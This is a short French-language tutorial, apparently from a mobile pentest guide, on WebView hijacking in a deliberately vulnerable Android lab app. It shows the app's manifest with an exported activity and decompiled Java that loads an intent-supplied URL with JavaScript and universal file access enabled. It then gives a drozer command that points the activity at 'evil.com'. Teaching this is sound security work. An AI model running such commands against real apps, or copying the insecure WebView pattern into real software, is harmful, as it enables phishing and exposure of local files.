WebView Hijacking

Reconnaissance

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="28" android:compileSdkVersionCodename="9" package="com.tmh.vulnwebview" platformBuildVersionCode="28" platformBuildVersionName="9">
    <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="28"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <application android:theme="@style/Theme.VulnWebView" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
        <activity android:theme="@style/Theme.VulnWebView.NoActionBar" android:label="@string/title_activity_home" android:name="com.tmh.vulnwebview.HomeActivity"/>
        <activity android:name="com.tmh.vulnwebview.SupportWebView" android:exported="true"/>
        <activity android:name="com.tmh.vulnwebview.RegistrationWebView" android:exported="true"/>
        <activity android:name="com.tmh.vulnwebview.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

Ici, on peut voir une activité nommée com.tmh.vulnwebview.RegistrationWebView avec l'attrubut exported sur "true" ce qui signifie qu'elle est disponible pour tout autre application sur l'appareil.

Code source

import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_registration_web_view);
        setTitle("Registration page");
        loadWebView();
    }

    private void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview);
        webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
            @Override // android.webkit.WebChromeClient
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
                return true;
            }
        });
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
        webView.getSettings().setJavaScriptEnabled(true);
        if (getIntent().getExtras().getBoolean("is_reg", false)) {
            webView.loadUrl("file:///android_asset/registration.html");
        } else {
            webView.loadUrl(getIntent().getStringExtra("reg_url"));
        }
    }
}

Dans ce code, on peut dans un premier temps constater que les librairies WebView sont importées ce qui confirme l'utilisation de WebView par l'application. On peut également constater que la fonction loadWebView() charge l'URL en récupérant la chaîne de l'intent.

Exploitation

Ainsi, ce comportement peut être exploité par des applications tierces en envoyant une intent à ce composant avec une URL et l'application cible acceptera et s'exécutera lorsque ce composant aura été exporté. c'est-à-dire que l'application tierce a accès au composant WebView dans l'application cible.

On peut alors utiliser la commande suivante de drozer pour entrer une url malicieuse et afficher celle-ci à la place de l'originale.

run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.RegistrationWebView --extra string reg_url "https://evil.com"

Décomposition de la commande:

1. run app.activity.start  //Permet de lancer une activité
2. --component <package> <activity>
3. --extra <type> <key> <value>

Il est également possibe d'utiliser cela pour afficher des fichiers locaux à condition que l'application y ai accès.

Dernière mise à jour